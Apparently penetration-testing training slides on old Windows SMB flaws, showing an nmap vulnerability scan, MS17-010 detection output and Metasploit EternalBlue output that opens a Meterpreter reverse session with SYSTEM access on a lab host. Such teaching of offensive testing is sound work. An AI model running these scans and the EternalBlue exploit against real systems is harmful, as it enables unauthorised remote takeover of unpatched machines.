Old Versions of Windows

```
Host script results:
| smb-os-discovery:
|   OS: Windows 7 Home Basic 7601 Service Pack 1
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: Microchoft
```

Old versions of Windows OS (XP, Vista, 7, 8, Server 2003, Server 2006, etc), are often vulnerable to well-known SMB exploits, such as EternalBlue (MS17-010)

Old Versions of Windows

```
nmap -p445,139 -vv --script=smb-vuln* 192.168.69.6
```

```
smb-vuln-ms17-010:
  VULNERABLE:
  Remote Code Execution vuln
    State: VULNERABLE
    IDs:  CVE:CVE-2017-0143
    Risk factor: HIGH
```

When security testing these older versions of Windows, we should always check for common SMB vulnerabilities, because they can lead to complete compromise of these systems

Privilege Escalation
EternalBlue (MS-17-010)

EternalBlue is the common name for Windows vulnerability MS-17-010, which affects Windows systems using the SMBv1 service

Privilege Escalation
EternalBlue (MS-17-010)

```
[*] Meterpreter session 1 opened (192.168.69.4:4444 → 192.168.69.6:49158)
[+] 192.168.69.6:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.69.6:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-
[+] 192.168.69.6:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

```
C:\Windows\system32>whoami
whoami
nt authority\system
```

If a system is successfully attacked using EternalBlue, there is often no need for privilege escalation--

Privilege Escalation EternalBlue (MS-17-010)

```
[*] Meterpreter session 1 opened (192.168.69.4:4444 -> 192.168.69.6:49158)
[+] 192.168.69.6:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[+] 192.168.69.6:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-
[+] 192.168.69.6:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

```
C:\Windows\system32>whoami
whoami
nt authority\system
```

Since EternalBlue exploits SMB in the context of a SYSTEM-level user, which results in privileged access to the system